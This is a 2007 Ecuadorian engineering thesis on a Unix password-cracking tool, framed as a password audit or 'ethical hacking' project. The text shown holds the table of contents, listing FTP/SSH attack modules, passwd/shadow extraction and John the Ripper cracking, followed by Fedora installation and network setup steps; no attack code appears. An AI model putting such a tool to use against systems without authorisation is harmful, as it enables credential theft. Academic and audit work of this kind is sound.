universidad de guayaquil facultad de ciencias...
TRANSCRIPT
UNIVERSIDAD DE GUAYAQUIL
Facultad de Ciencias Matemáticas y Física
Carrera de Ingeniería en Sistemas
Computacionales
“Cracker de Passwords Unix”
PROYECTO DE GRADO
Previo a la Obtención del Titulo de:
INGENIERO EN SISTEMAS COMPUTACIONALES
Autor(es):
Alicia Victoria Aldaz Borja
José Luís Hidalgo Torres
Karina Gisela Valenzuela Burbano
GUAYAQUIL – ECUADOR
Año: 2007
II
AGRADECIMIENTO
Agradecemos a todas las personas que han
contribuido de alguna manera a la realización
de nuestro proyecto y a nuestros padres por
estar siempre guiándonos en nuestra vida
estudiantil.
III
DEDICATORIA
Dedicamos este trabajo a Dios por estar
siempre a nuestro lado en todo momento y a
nuestros padres porque siempre han creído en
nosotros y nos brindaron en todo este tiempo su
apoyo y amor.
IV
TRIBUNAL DE GRADUACIÓN
Presidente del Tribunal Primer Vocal Segundo Vocal Secretario
V
ÍNDICE GENERAL
AGRADECIMIENTO II
DEDICATORIA III
TRIBUNAL DE GRADUACIÓN IV
ÍNDICE GENERAL V
ÍNDICE GRÁFICO IX
CAPITULO I 1
Manual de usuario 1
Antes de empezar 1
Instalación del Programa y los Aplicativos 1
Requerimientos de hardware: 1
Recurso humano: 4
Pasos para la instalación de las herramientas. 4
Instalación de Fedora Core 5.0 5
1. Empezamos a instalar: 13
¿Cómo identifico la unidad donde voy a instalar Linux? 16
¿Qué particiones necesito para Linux? 17
6.1. Configuración del disco: 20
6.1.1. Si tenemos un disco duro nuevo: 20
CAPITULO II 29
Configuraciones Básicas del Fedora Core 5.0 29
Configuraciones básicas de red 29
Instalación de Wine 37
CAPITULO III 41
Pantallas Principales del Proyecto 41
Pantalla Principal del Programa 43
Pantalla de Scan de IP y Puertos 45
Créditos 64
VI
Salir 64
CAPITULO IV 65
Manual Técnico 65
Diccionario de datos. 66
CAPITULO V 78
Clases del Proyecto 78
Clase claveproyecto.java 78
Proceso de verificación de contraseñas: 79
Clase crea.java 80
Clase msg.java 80
Clase fecha.java 81
Clase Access.java 83
Clase pantalla_principal.java 85
Clase Constants.java 86
Clase Timer.java 87
Clase PingSweepStart 88
Clase pinger.java 89
Clase basic_ip_tools.java 91
Clase ping_thread.java 92
Funciones importantes de destacar en esta clase: 97
Clase hackeo.java 109
Clase parametros_análisis.java 110
Clase reporte.java 123
Clase estadistica.java 125
Configuraciones Adicionales 128
Como configurar la base de datos postgre del proyecto 128
Pasos para la instalación y configuración de PostgreSQL para Linux
129
Agregar a NetBeans un conector de la base de datos 131
VII
Conector a la Base de Datos 131
Conexión de una Aplicación a una Base de Datos 132
Agregar a NetBeans un Conector a una Base de Datos 132
Conexión de NetBeans a una Base de Datos 137
Instalación en Netbeans del Conector a la Base de Datos 138
Conexión de NetBeans a la Base de Datos 141
Acceso a la base de datos desde NetBeans 143
Manejo de gráficos con JfreeChart 150
Gráficas en Java con JFreeChart 150
Tips y trucos para aprovechar mejor el proyecto 154
SSH 154
SCP 156
Procedimiento 157
Manipulación de los scripts del proyecto. 158
CAPITULO VI 165
Código fuente principal. 165
Clave del Proyecto 165
Créditos.java 170
Salir.java 173
Crea.java 176
Mensaje.java 178
Msg.java 181
Fecha.java 182
Reloj.java 183
Access.java 184
Pantalla_principal.java 185
Constants.java 195
Ping_swep_start.java 196
Pinger.java 198
VIII
Genera_palabras.java 199
Scan_ip_range.java 200
Basic_ip_tools.java 202
ping_thread.java 206
pantalla_scan.java 207
Pantalla_attack_ftp.java 226
Hackeo.java 240
Parámetros_análisis.java 247
Análisis.java 256
reporte.java 289
Estadisticas.java 301
Crea_3d.java 306
Crea_3d_todos.java 308
Crea_3d_vig_ip.java 310
Crea_3d_vig_ip_todos.java 312
Bar_3d_ip.java 314
Bar_3d_ip_todos.java 316
Bar_3d_vig_ip.java 319
Bar_3d_vig_ip_todos.java 321
IX
ÍNDICE GRÁFICO
Gráfico No. 1 Instalación de otro Sistema Operativo 8
Gráfico No. 2 Selección del Sistema Operativo 9
Gráfico No. 3 Donde Crear 9
Gráfico No. 4 Tomar Espacio de otra partición 10
Gráfico No. 5 Propiedad de Partición 11
Gráfico No. 6 Confirma tus cambios 11
Gráfico No. 7 Confirmar Cambios Swap 12
Gráfico No. 8 Configuración del Teclado 14
Gráfico No. 9 Configuración del ratón 15
Gráfico No. 10 Tipo de Instalación 15
Gráfico No. 11 Configuración del disco 16
Gráfico No. 12 Añadir Partición 20
Gráfico No. 13 Configuración del gestor de arranque 22
Gráfico No. 14 Configuración de red 23
Gráfico No. 15 Configuración del firewall 23
Gráfico No. 16. Soporte adicional del idioma 24
Gráfico No. 17 Selección del huso horario 25
X
Gráfico No. 18 Configurar contraseña de root 25
Gráfico No. 19 Configuración de la autenticación 26
Gráfico No. 20 Selección de grupos de paquetes 27
Gráfico No. 21 Instalación de paquetes 28
Gráfico No. 22 Pantalla Ingreso 41
Gráfico No. 23 Pantalla de Bienvenida 42
Gráfico No. 24 Pantalla Principal 43
Gráfico No. 25 Pantalla de Scan de IP y Puertos 45
Gráfico No. 26 Pantalla de Scan de IP y Puertos 49
Gráfico No. 27 Pantalla de Ejecución de ataques 49
Gráfico No. 28 Ataque Ftp – Ssh 50
Gráfico No. 29 Pantalla Paramentos de análisis 56
Gráfico No. 30 Resultado de análisis 58
Gráfico No. 31 Pantalla Reporte del Sistema 60
Gráfico No. 32 Consulta 61
Gráfico No. 33 Mensaje 61
Gráfico No. 34 Generación Estadística 62
Gráfico No. 35 Gráfico tipo Pastel y tipo barra 63
Gráfico No. 36 Pantalla de Crédito 64
XI
Gráfico No. 37 pantalla de Salida 64
Gráfico No. 38 Función Verifica 79
Gráfico No. 39 Crea.java 80
Gráfico No. 40 Clase Msg.java 81
Gráfico No. 41 Clase fecha.java 82
Gráfico No. 42 Clase reloj.java 83
Gráfico No. 43 Clase Access.java 85
Gráfico No. 44 Clase pantalla_principal.java 86
Gráfico No. 45 Clase Constrangts.java 86
Gráfico No. 46 Clase Timer.java 87
Gráfico No. 47 Clase PingSweepStart 88
Gráfico No. 48 Clase genera_palabras 89
Gráfico No. 49 Clase pinger.java 90
Gráfico No. 50 scan_ip_range.java 91
Gráfico No. 51 Clase basic_ip_tools.java 92
Gráfico No. 52 Clase ping_thread.java 93
Gráfico No. 53 pantalla_scan.java 94
Gráfico No. 54 Clase pantalla_attack_ftp.java 96
Gráfico No. 55 boton_retorno 97
XII
Gráfico No. 56 Class verifica estado 98
Gráfico No. 57 Funcion ejecuta_ataque_ftp 99
Gráfico No. 58 Funcion ejecuta_extract 102
Gráfico No. 59 Ataque SSH 103
Gráfico No. 60 Extract_Passwd_Shadow 105
Gráfico No. 61 Rc.Local 107
Gráfico No. 62 Ejecuta descifrado 108
Gráfico No. 63 Class hackeo 110
Gráfico No. 64 Class Parametros_análisis 112
Gráfico No. 65 Class Parametros_análisis 112
Gráfico No. 66 class análisis 114
Gráfico No. 67 boton_resultados 115
Gráfico No. 68 Ejecuta análisis 116
Grafico No. 69 Proceso de validación de fecha 118
Gráfico No. 70 Proceso de validación de fecha 119
Gráfico No. 71 Porcentaje de Seguridad 122
Gráfico No. 72 Boton_guardar 123
Gráfico No. 73 Reporte 124
Gráfico No. 74 Clase Estadística 125
XIII
Gráfico No. 75 Crea3d 126
Grafico No. 76 bar_3d 127
Gráfico No. 77 Verificar Conexión 130
Gráfico No. 78 Tools/Library Manager 132
Grafico No. 79 Library Manager 133
Gráfico No. 80 New Library 133
Gráfico No. 81 Library Manager 134
Gráfico No. 82 Browse JAR/Folder 134
Gráfico No. 83 Library Manager 135
Gráfico No. 84 Nodo Libraries 135
Gráfico No. 85 Add Library 136
Gráfico No. 86 Add Library 136
Gráfico No. 87 Conector Agregado 137
Gráfico No. 88 Ventana Runtime 138
Gráfico No. 89 Agregar Conector 138
Gráfico No. 90 Cuadro de dialogo Agregar Conector 139
Gráfico No. 91 Seleccionar conector 139
Gráfico No. 92 Información del conector 140
Gráfico No. 93 Conector Postgres en Ventana Runtime 140
XIV
Gráfico No. 94 Conexión a la Base de datos 141
Gráfico No. 95 Conexión a Nueva Base de Datos 142
Gráfico No. 96 Confirmando conexión 142
Gráfico No. 97 conexiones a la Base de datos 143
Gráfico No. 98 Conectores y Tabla 144
Gráfico No. 99 Operaciones con Tablas 145
Gráfico No. 100 Creación de Tablas 145
Gráfico No. 101 Comando SQL 146
Gráfico No. 102 Ejecutar Código SQL 146
Gráfico No. 103 View Data 147
Gráfico No. 104 Creación de tabla 148
Gráfico No. 105 Modificar la tabla 149
Gráfico No. 106 Clave Primaria 149
Gráfico No. 107 Gráficos con JFreeChart 151
Gráfico No. 108 Descompresión de Jfrechart 151
Gráfico No. 109 Gráfico d barras horizontales 152
Gráfico No. 110 Librería jcommun 152
Gráfico No. 111 Código Ventana Grafica 153
Gráfico No.112 Estadistica de seguridad por Ip 154
XV
Gráfico No. 113 Codigo SSH 155
Grafico No. 114 Comando SSH 155
Gráfico No. 115 Comands SCP 156
Gráfico No. 116 Script de Extracción 159
Gráfico No. 117 Script de autorización 159
Gráfico No. 118 Script Chequeo estado de red 160
Gráfico No. 119 Script Ataque completo 160
Gráfico No. 120 Script Conocer IP 160
Gráfico No. 121 Script Descifrado y análisis de password 161
Gráfico No. 122 Script Muesta Password 161
CAPITULO I
Manual de usuario
Antes de empezar
Se recomienda leer primero este apartado del manual, con respecto a la
instalación y configuración del sistema. Si se requieren más detalles de
funcionamiento, remítase al manual técnico aquí proporcionado.
Instalación del Programa y los Aplicativos
Primero, empezaremos por detallar los elementos de hardware mínimos que
necesitamos para empezar a diseñar el programa. El programa para su
desarrollo necesita del siguiente equipo (características mínimas de
operación)
Requerimientos de hardware:
Un computador con las siguientes características:
• Procesador Pentium IV 2.0 Ghz o superior.
• También se probó con una buena perfomance en equipos con
procesador AMD NX1750, pero se recomienda mejor usar equipo
Intel.
• Memoria RAM 512 Mb, se probó en equipos con 256 Mb pero las
prestaciones bajaron significativamente.
2
• Disco duro con espacio de 200 Mb mínimo para la instalación del
programa y los aplicativos adicionales.
• Disco duro con espacio particionado de 10Gb mínimo para la
instalación del sistema operativo Linux Fedora Core 5.0.
• CD-ROM 52x para la instalación de los aplicativos.
• Tarjeta de red 10 / 100 de preferencia 3-Com para mejor perfomance,
no necesariamente, se puede usar cualquiera, pero debe comprobarse
la compatibilidad con el sistema operativo instalado.
• Cable de red para la conexión con la LAN local, categoría 5e o
superior.
• Se puede disponer del uso de una tarjeta de red inalámbrica, pero el
rendimiento del programa cae drásticamente. Se optará entonces por
comprar una 3-Com o D-link.
• Monitor de 860 x 640 para poder visualizar la parte gráfica.
• Si se desea se puede operar el proyecto con una maquina virtual, la
cual se explicará su funcionamiento más adelante, la cual debe ser
configurada con las mismas características que se mencionan en esta
página.
Requerimientos de software:
Para el desarrollo y ejecución del programa, se deberá contar con lo
siguiente:
3
❖ Tener instalado y en operación el sistema operativo Linux Fedora Core
5.0, correctamente configurado en el cual se va a desarrollar el
proyecto. Más adelante se detalla paso a paso la instalación y
configuración del mismo para poder empezar a desarrollar el proyecto
❖ El sistema operativo, una vez listo para trabajar, deberá tener
instalados los siguientes paquetes, los cuales se proporciona en los
CD's del proyecto:
❖ Herramienta de desarrollo, NetBeans 5.5 con JDK 1.5_11
❖ Paquetes :
o netwig-5.35.0-src.tgz
o netwag-5.35.0-src.tgz
o netwox-5.35.0-src.tgz
o john-1.7.2.tar.gz
❖ Paquetes opcionales:
o wine-0.9.27.tar.bz2
o putty.exe (funciona previa instalación de wine)
o winscp32.exe (funciona previa instalación de wine)
• Paquetes adicionales que su instalación puede ser opcional, y ayudarán a
dar mejor rendimiento al programa.
Algunos paquetes, pueden necesitar dependencias, las cuales si no están los
paquetes instalados, no permitirán seguir con la instalación. En el caso de
4
ocurrir, se deberá buscar en paquete correspondiente que haga falta en los
cd's de la distribución de Fedora que esté usando, para nuestro caso, Fedora
Core 5.0. Esto ocurre cuando el Fedora no está instalado con todas las
herramientas de desarrollo. Más adelante se dará indicaciones de como se
instalará el Fedora de tal manera que no nos cause ningún inconveniente
como lo antes mencionado.
Recurso humano:
Para terminar el desarrollo en un tiempo estimado de 7 meses, se necesitará
configurar todo el equipo como se indica en este manual, al menos con 3
personas trabajando un promedio de 6 horas diarias en la configuración del
equipo y la programación. La primera durará al menos 3 semanas, el resto
del tiempo será trabajo de los programadores.
Pasos para la instalación de las herramientas.
Si ya se cumple con los mínimos requerimientos de hardware, se puede
proceder con los siguientes pasos:
En nuestro caso estamos operando con un equipo con las siguientes
características:
• Procesador Pentium IV 2,3 Ghz
• Memoria RAM 768 Mb
• Disco Duro con 20 Gb de espacio, para instalar el sistema operativo y los
5
programas de desarrollo y paquetes que el programa necesita.
• CD-ROM 52 x
• Tarjeta de red 10 / 100
Con este equipo, las prestaciones de rendimiento son del 60% al 70%.
Mientras más recursos tenga el equipo, los resultados obtenidos al usar el
programa serán mejores.
El programa puede trabajar muy bien con las especificaciones mínimas
mencionadas al inicio de este manual, solo disminuirá su tiempo de
ejecución.
Instalación de Fedora Core 5.0
La idea de este manual es que cualquier técnico con el mínimo conocimiento
pueda configurar todo el proceso, siguiendo las instrucciones que aquí se
describen.
Se procederá a instalar los CD's de Fedora Core en este caso la distribución
5.0, en el espacio destinado para el mismo, teniendo en cuenta lo que se
explica a continuación: Si es una maquina con un disco nuevo, se lo formatea
usando los diskettes auxiliares de la herramienta Partition Magic, o como
mejor le convenga, el cd de Fedora le permitirá formatear la partición en
6
blanco e instalar el sistema desde un disco limpio, en caso de que se quiera
compartir con una maquina que tenga el sistema operativo Windows, leer lo
siguiente:
Instalación de Fedora Core 5.0 con otro sistema operativo residente en
disco
Este procedimiento no será válido si el disco cuenta con el sistema operativo
Windows Vista, ya que genera conflictos, los pasos explicados aquí se
realizaron con un disco con un sistema operativo residente Windows XP
Professional Edition con SP 2
Procederemos a instalar la distribución Linux de Fedora Core 5.0, para lo
cual seguiremos los siguientes pasos:
• Lo más aconsejable es realizar la partición por medio de la herramienta
Partition Magic en su versión 8.0 o superior, la cual se la puede descargar
desde este link: www.powerquest.com
• Luego de obtener esta herramienta, se procederá a realizar la partición
que permitirá instalar los archivos de ejecución del Kernel y todo lo
necesario para que Fedora funcione. siguiendo estas indicaciones:
❖ Tengamos en cuenta los requisitos que se necesitan para que Fedora
Core funcione a plenitud y sin problemas, que detallamos al inicio del
manual:
7
o Procesador Pentium III superior a 900Mhz, de preferencia será un
Pentium IV.
o 256 Mb de RAM mínimo, esto es, porque al ejecutar el programa
se consumirán muchos recursos de la maquina, lo cual bajará el
rendimiento si no se cuenta con memoria suficiente.
o Disco duro con espacio de 3Gb como mínimo, pero lo más óptimo
sería que tengamos más de 10Gb disponibles para Fedora.
o Mainboard Intel
o Tarjeta de red NIC 3COM, es recomendable.
o Cd rom superior a 52 X
o SVGA
o Mouse
Estos son requerimientos MÍNIMOS, los cuales permiten operabilidad, pero
se reducirá la velocidad de operación. De preferencia se debe ejecutar el
programa en un equipo como en el que se detalló que se realizaron las
pruebas del programa.
“Se recomienda hacer un respaldo de la información del disco
duro, por lo delicado que es este proceso, a pesar de que
siguiendo estos pasos al pie de la letra, el éxito es seguro, pero
puede cometerse un error en su interpretación”
8
Lo primero a realizar es una desfragmentación del disco duro, para poder
agrupar todos los datos de la partición del otro sistema operativo, y no tener
sorpresas desagradables como la pérdida de datos después de haber
instalado el otro sistema operativo. Dependiendo del tamaño de la
desfragmentación, demorará unas horas, pero hay que tener paciencia y
cumplir con este paso por seguridad del equipo.
Procederemos a crear la partición usando la herramienta Partition Magic, los
pasos a continuación (según nuestra experiencia):
• En el menú escogemos “ Install Another Operating System “ y nos
aparecerá un pantalla como la que tenemos a continuación:
Gráfico No. 1 Instalación de otro Sistema Operativo
Cuando se utiliza el Partición Magic nos muestra un Wizard
que nos guía para la instalación de otro Sistema Operativo
9
• Luego, escogemos en la solapa, el sistema operativo a instalar, Linux:
Gráfico No. 2 Selección del Sistema Operativo
El Wizard nos muestra los diversos sistemas operativos
para escoger y proseguir con la instalación
• Observemos la imagen, es preferible escoger la instalación de la
partición como extendida, y después “After“ de las que ya se
encuentran instalas en el disco duro:
Gráfico No. 3 Donde Crear
Nos permite escoger la partición para instalar el Sistema Operativo
10
• El programa nos indicara ahora si queremos que las particiones
existentes en el disco, “donen “espacio para crear la nueva partición.
Si se tiene espacio suficiente en el disco (espacio que aparece en la
pantalla como “unformatted o unallocated”), es preferible quitar los
vistos de las solapas, es decir, no queremos que donen espacio las
demás particiones.
• Pero si nos vemos en la necesidad de que las demás particiones
donen espacio, tomemos en cuenta lo siguiente:
Gráfico No. 4 Tomar Espacio de otra partición
Permite redimensionar una partición para hacer una nueva
• Luego, escogemos el tamaño de la partición, de que tipo es, es
preferible escoger “extended” y “ext3” para lograr optimización.
Escoger también 10000Mb ( 10 Gb ) como tamaño de la partición
11
Gráfico No. 5 Propiedad de Partición
Nos permite elegir el tamaño, tipo de sistema de ficheros y colocar nombre
• Nos saldrá una pantalla que muestra las particiones como están
actualmente, y como lo estarán al aplicar los cambios, si no se
cometió error, se procede; si se necesita verificar algo, se puede
retroceder. Se procederá a presionar “finish” para aceptar los cambios.
Gráfico No. 6 Confirma tus cambios
Obtenemos la Vista previa de cómo quedará el disco
12
• Luego, nos pedirá que creemos la partición swap, importante para
Linux, escogemos que si, le asignamos el espacio ( el doble de lo que
se tenga en RAM. Ej: si tenemos 512 de RAM, asignaremos 1024 de
swap), y repetimos los pasos como en el proceso anterior.
Gráfico No. 7 Confirmar Cambios Swap
Vista previa del espacio asignado para el Swap
• Finalmente, aplastando el botón “Apply” del menú, procederemos a
formatear la partición, se reiniciará la maquina, o se realizará el
proceso en ese mismo momento. Si no hay mensajes de errores, se
formateó con éxito, sino, se debe repetir el proceso.
Procederemos entonces a la instalación de los cd´s de Fedora Core,
siguiendo estos sencillos pasos:
1. Hacer que la maquina arranque desde el cd rom (al iniciar el
encendido, se deberá presionar DEL, SUPR en maquinas clones, F8,
F1 en algunas maquinas, y escoger el booteo desde el cd rom).
13
2. Luego, reiniciar, escoger el modo de instalación, y segur los pasos que
se indican en las pantallas ( modo gráfico preferible para novatos )
Antes de nada comprueba que todo tu hardware es compatible con la versión
de Fedora que quieres instalar. Después consigue toda la información que
puedas sobre tu equipo: placa base, tarjeta de sonido, gráfica, de red. La
instalación es realmente sencilla ya que el instalador "Anaconda" es muy fácil
de manejar.
Primero antes de comenzar, hay que asegurarse de que tenemos una
partición o un disco duro nuevo. Muy bien, te aconsejo que imprimas esto o
por lo menos que apuntes los pasos más importantes en un papel.
Arrancamos desde el CD.
1. Empezamos a instalar:
Presiona "Enter" para comenzar la instalación gráfica, veras como se
cargan algunos módulos y como Linux reconoce tu hardware. Ahora te
saldrá una pantalla que te preguntara si quiere analizar los CD para
comprobar que estén correctos, es recomendable que "escanees" los 3
CDs, de todos modos (si no lo quiere hacer dale a "Skip") cuando termine
dale a "Continue" se cargara "Anaconda" que es instalador gráfico de Red
Hat, ahora ya puedes usar el ratón, pulsa en "Next".
14
2. "Select languaje":
En la siguiente pantalla selecciona su idioma (Spanish) y vuelve a pulsar
"Next".
3. Configuración del teclado:
Selecciona "Spanish" de la lista y pulsa en "Siguiente".
Gráfico No. 8 Configuración del Teclado
Nos muestra una lista desplegable de los tipos de configuración del teclado
4. Configuración del ratón:
Ahora, ya en español, selecciona su ratón de la lista, si no ves tú modelo
deja el genérico que viene seleccionado por defecto, y pulsa, como no,
"Siguiente".
15
Gráfico No. 9 Configuración del ratón
Elección del Sistema del tipo de ratón para el Sistema
5. Tipo de instalación:
Existen cuatro tipos de instalaciones:
❖ Escritorio personal
❖ Estación de trabajo
❖ Servidor
❖ Personalizada
Gráfico No. 10 Tipo de Instalación
Selección del tipo de instalación
16
Nosotros elegiremos las personalizada, para poder elegir los paquetes
que queramos instalar.
Pulsamos "Siguiente".
6. Configuración de la partición:
Hay dos formas:
❖ Automática
❖ Manual (con Disk Druid)
Gráfico No. 11 Configuración del disco
Elección de la partición donde se desea instalar Linux
¿Cómo identifico la unidad donde voy a instalar Linux?
Cuando vemos un disco duro o unidades dentro de Windows, se nos
presentan como letras del abecedario (C, D, E, etc.) pero dentro de Linux, es
bastante diferente, ya que su estructura semeja un árbol donde cada
partición y dispositivo de lectura/escritura se representa como un directorio,
17
los nombres de las unidades de disco duro son:
❖ hda: disco duro principal
❖ hdb: disco duro secundario
❖ hda1: primera partición del disco duro principal.
❖ hdb2: segunda partición del disco secundario
Ahora, para ejemplificar todo este proceso, supongamos que tienen un disco
duro de 20 GB y generan dos particiones, uno de 5 GB para Windows y el
resto para Linux, entonces es hda1 (Windows) y hda2 (Linux), siendo en
este último donde crearíamos las particiones del sistema.
¿Qué particiones necesito para Linux?
NOTA: Estas particiones se crean al momento de instalar, no de dividir el
disco duro para varios sistemas operativos, pero es importante que las
conozcan de antemano. En principio sólo se pueden montar tres y es
suficiente para que funcione:
/boot
Es la partición donde se leen los parámetros para iniciar el sistema.
Requiere al menos 75 MB en Red Hat™ Enterprise Linux 3.0 y White Box
Enterprise Linux 3.0. Asignar más espacio puede considerarse desperdicio.
/ o raíz Es donde se instalarán los componentes del sistema operativo.
Requiere de 350 a 512 MB.
18
swap
Espacio físico para la memoria virtual del sistema.
Debe asignarse el doble del tamaño del RAM físico.
Esta será siempre la última partición del disco duro.
No se asigna punto de montaje.
Otras particiones son:
/usr
Se trata del segundo directorio en cuanto a jerarquía en el sistema. Contiene
la mayoría de los binarios (ejecutables), bibliotecas compartidas, manuales,
datos de aplicaciones e imágenes que utiliza el sistema, cabeceras de
desarrollo, el árbol del kernel y documentación.
Requiere al menos 1.5 GB en instalaciones básicas. Debe considerarse el
software a utilizar a futuro. Para uso general, se recomiendan no menos de 5
GB y, de ser posible, considere un tamaño óptimo de hasta 8 GB en
instalaciones promedio.
/tmp
En éste se almacenan todos los ficheros temporales que generan los
distintos programas.
19
Requiere al menos 350 MB y puede asignarse hasta 2 GB o más
dependiendo de la carga de trabajo y tipo de aplicaciones. Si por ejemplo el
sistema cuenta con un grabador de DVD, será necesario asignar a /tmp el
espacio suficiente para almacenar una imagen de disco DVD, es decir, al
menos 4.2 GB.
/var
Corresponde a la partición de datos de servicios.
Requiere al menos 512 MB en estaciones de trabajo sin servicios. En
servidores regularmente se le asigna al menos la mitad del disco duro.
/home
Corresponde a la partición de datos de usuarios. Es donde se colocan los
directorios para cada usuario con los perfiles de cada cuenta.
En estaciones de trabajo se asigna al menos la mitad del disco duro a esta
partición.
Por costumbre (y experiencia) recomiendo crear particiones independientes
para /boot, / (raíz),
/home, /var y swap. También es aconsejable una para /usr y /tmp.
Haz clic sobre manual y pulsaremos "Siguiente".
20
6.1. Configuración del disco:
Hay varios lugares donde instalar Linux
❖ En un disco duro nuevo
❖ En una partición libre
❖ En espacio libre
6.1.1. Si tenemos un disco duro nuevo:
En este caso seleccionaremos el disco, y si en la gráfica aparece algo
como "Free" o "Free Space" pulsaremos sobre "Nueva" pero si no
aparece pulsaremos sobre "Modificar".
6.1.2. Si tenemos una partición libre:
En este caso pulsaremos sobre "Modificar".
Gráfico No. 12 Añadir Partición
Nos permite añadir una partición
21
6.1.3. Si tenemos espacio libre:
Entonces pulsaremos sobre "Nueva".
6.2. "Nueva":
Aquí configuraremos una nueva partición con el espacio libre
disponible.
En punto de montaje seleccionamos "/"
En el sistema de archivos seleccionamos "Ext3"
El tamaño dependerá del espacio libre.
Seleccionamos la casilla "Comprobar errores"
Pulsamos en "Crear"
6.3. Modificar:
Cuando tenemos una partición libre pero no queremos conservar los
datos la transformaremos en una partición Linux.
En punto de montaje seleccionamos "/"
En el sistema de archivos seleccionamos "Ext3"
Seleccionamos la casilla "Comprobar errores"
Pulsamos sobre "Aceptar"
6.4. Creación de una partición "Swap":
Para crear una necesitaremos espacio libre, solo es necesaria cuando
se disponga de poca memoria.
22
Pulsamos en "Nuevo"
En el sistema de archivos elija "Linux Swap"
Seleccione el tamaño que creas necesario
Dale a "Crear"
Por supuesto pulsamos "Siguiente"
7. Configuración del gestor de arranque:
Gráfico No. 13 Configuración del gestor de arranque
Se instala el sistema gestor de arranque (GRUB)
En esta pantalla debemos configurar cual de de los dos sistemas
operativos será el que arranque por defecto (al cabo de unos 4
segundos). Para ello seleccionaremos a uno de los dos sistemas
operativos, también, podemos cambiar de nombre, seleccionando uno,
pulsando sobre modificar y cambias el nombre.
Pulsamos "Siguiente"
23
8. Configuración de la red:
Aquí cada uno tiene sus parámetros, si no sabe como hacerlo llama a su
proveedor de servicios.
Pulsamos "Siguiente"
Gráfico No. 14 Configuración de red
Configuración del dispositivo (puerta de enlace, DNS primario y secundario)
9. Configuración del firewall:
Gráfico No. 15 Configuración del firewall
Permite la elección entre alto, intermedio y ningún firewall
24
Linux viene equipado con un firewall propio, al no ser que quieras
mucha protección, seleccionaremos el nivel medio.
Pulsamos "Siguiente"
10. Soporte para idioma adicional:
Si quieres incluir algún idioma mas...
Si no "Siguiente"
Gráfico No. 16. Soporte adicional del idioma
Permite la elección de un idioma secundario
11. Seleccionar el uso horario:
En el mapa seleccionamos América - Guayaquil
Pulsamos "Siguiente"
25
Gráfico No. 17 Selección del huso horario
Permite elección del huso horario seleccionando la ubicación en el mapa
12. Contraseña del Root:
Gráfico No. 18 Configurar contraseña de root
Permite introducir la contraseña de root
En los sistemas UNIX existen dos tipos de usuario:
❖ El Root, superusuario o administrador
❖ El usuario normal
26
¡Es importante que guardes esta contraseña, si la pierdes no
podrás cambiar las configuraciones!
Clic en "Siguiente"
13. Configuración de la autentificación de la red:
Aquí se pueden establecer las contraseñas para restringir el acceso a
internet.
"Siguiente"
Gráfico No. 19 Configuración de la autenticación
14. Selección de paquetes:
Esta pantalla es muy importante porque en ella seleccionamos lo
paquetes (programas) que queremos instalar, personalmente prefiero
KDE a Gnome pero puedes instalar los dos para que los veas.
27
15. Antes de instalar:
Gráfico No. 20 Selección de grupos de paquetes
Nos permite seleccionar los paquetes que deseamos instalar
En esta parte es necesario recalcar, que se deberá instalar imperativamente:
❖ Los paquetes de desarrollo del sistema, los paquetes de ingeniería y
científico.
❖ Los paquetes que correspondan a los aplicativos de java ( instalarlos
todos, sin omisión alguna)
❖ Los paquetes de la bases de datos, en particular la de postgre, que es
en la cual se va a desarrollar el proyecto.
En la medida de lo posible, sería aconsejable instalar casi todos los paquetes
de la distribución, pudiendo omitir los de oficina y productividad, y los de
soporte de idiomas, el resto debería instalarse y después cuando ya esté el
sistema operativo en operación, se irá descartando los no necesarios.
28
Aquí comienza la instalación, pulsa sobre "Siguiente"
16. Instalando...
Gráfico No. 21 Instalación de paquetes
Nos muestra el estado en que va la instalación
La instalación durara un rato (depende del ordenador que tengas). Después
se realizarán las configuraciones que hagan falta de la instalación inicial y se
puede proceder con las configuraciones siguientes:
CAPITULO II
Configuraciones Básicas del Fedora Core 5.0
Debemos tener configurada principalmente la red en correcto estado, para
poder operar con el programa correctamente siguiendo los siguientes pasos:
Configuraciones básicas de red
En /etc/sysconfig/network-scripts
Editar el archivo ifcfg-eth0 o el de la interfaz de la tarjeta de red
Colocarle la IP correspondiente a la red a la cual vamos a auditar.
Hacer el resto de configuraciones necesarias.
Un ejemplo básico sería como el que sigue:
# VIA Technologies, Inc. VT6105 [Rhine-III]
DEVICE=eth0
BOOTPROTO=none
BROADCAST=192.168.100.255
HWADDR=00:11:95:8a:0e:aa
IPADDR=192.168.100.100
NETMASK=255.255.255.0
NETWORK=192.168.100.0
ONBOOT=yes
TYPE=Ethernet
USERCTL=no
IPV6INIT=no
PEERDNS=yes
30
En este caso estamos saliendo por la interfaz eth0 y le colocamos una IP
privada de la clase C, como se puede observar.
Si la maquina ya tiene una correcta configuración de red, ya no nos
preocuparemos por realizar estos pasos.
Esta es la configuración básica más importante. Si se requiere
configuraciones de red más avanzadas se puede consultar con cualquier
manual de Linux del Internet.
Hacemos el levantamiento del servicio:
[root@seminario~] service network restart
Y luego verificamos con:
[root@seminario~] ifconfig
eth0 Link encap:Ethernet HWaddr 00:11:95:8A:0E:AA
inet addr:192.168.100.100 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:17 Base address:0x6f00
31
eth1 Link encap:Ethernet HWaddr 00:0B:6A:3E:07:BA
inet addr:192.168.100.101 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:18 Base address:0xcc00
Y ya podemos ver que nuestra maquina ya tiene una IP y esta lista para
trabajar.
Una vez levantada la red, procedemos con lo siguiente:
En el cd de auditoria de passwords entregado se encuentra una carpeta
llamada hacking_etico, montar la unidad de cd, extraer el archivo y copiarlo
en la ruta /root/ para poder operar el programa sin ningún problema.
En la carpeta utilitarios del proyecto se encuentran todas las herramientas,
manuales y paquetes de instalación para poder operar y modificar en caso de
ser necesario el programa aquí entregado. Para empezar a desarrollar el
programa necesitamos instalar el IDE, el entorno gráfico de desarrollo. En
este caso lo vamos a hacer por medio de la herramienta llamada NetBeans
5.5, que es un entorno de desarrollo muy completo y me provee de gran
cantidad de clases de ejemplo y manejo excelente de diseño de interfaces.
32
Podemos instalarlo del archivo con el nombre:
jdk-1_5_0_11-nb-5_5-linux-ml.bin
En una consola gráfica bastará con darle doble click al archivo, para esto y
